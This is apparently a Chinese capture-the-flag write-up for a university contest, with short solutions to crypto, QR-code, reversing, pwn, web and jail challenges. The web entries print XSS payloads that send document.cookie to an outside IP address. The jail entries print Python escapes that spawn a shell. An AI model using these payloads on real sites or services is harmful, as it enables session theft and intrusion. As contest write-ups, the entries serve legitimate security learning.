Write Up

草率的毕业设计

salt很短，穷举出salt即可。

签到

签到

二维码的瘦身

```
import qrcode
import re
import cv2
import numpy as np

# Dummy flag
flag =
'fductf{k0n03OeDoGevcdAg6n5B2nbIEhMCz7H_16IV_nirzqdT2VS3Y7FK2Up9TDtVSZZHbreVbF0OpkQAP7IJA8mmaZ69}'

qr = qrcode.QRCode(error_correction=qrcode.constants.ERROR_CORRECT_M, box_size=2, border=1)
qr.add_data(qrcode.util.QRData(flag * 2))
# img_dummy = np.array(qr.make_image(), dtype=np.float64)[16:, 16:]
raw_img = np.array(qr.make_image(), dtype=np.float64)
cv2.imwrite('raw.png', raw_img * 255)
raw_margin = raw_img[:16, :16]


img_ = cv2.imread('./flag.png', cv2.IMREAD_GRAYSCALE)
img_ = img_.astype(np.float64) / 255
img_ = img_[2:, 2:]

img_full = np.ones((img_.shape[0] + 16, img_.shape[1] + 16), dtype=np.float64)
img_full[:16, :16] = raw_margin
img_full[16:, 16:] = img_

raw_img[16:, 16:] = img_
cv2.imwrite('raw_.png', raw_img * 255)
```

用一个dummy flag把 `[:16, :16]` 还原出来，并与被瘦身的二维码合并，获取原始flag。

问卷反馈

反馈

FDUKindergarten

```
__import__("os").system("sh")
```

Alice与Bob的小纸条

首先猜高频词如 The, in, at, of等，然后猜地名（我记得有个康涅狄格），逐步把所有字符映射找出来。

test-your-nc

test

丫丫历险记

常规buffer overflow，改写is_debug

丫丫历险记2

r 13后读出地址，该地址-460（猜出来的）偏移后w 13回去，拿到shell

Jeff Dean笑话

在网上找了个工具直接分解出来了，代入计算。

eazy_python

Python bytecode。网上有现成的反编译工具，反编译后逻辑很简单。

JJ历险记

```
<script>
fetch('http://128.105.144.225', {
  method: 'POST',mode: 'no-cors',credentials: 'include', body:document.cookie
})
</script>
```

JJ历险记2

```
<div>
<img src='xxx' onerror="fetch('http://128.105.144.225', {
  method: 'POST',mode: 'no-cors',credentials: 'include', body:document.cookie
})"></img>
</div>
```

FDUJail

```
eval(input(format(dir())))
```

`format`和`dir`为了通过fdu检查。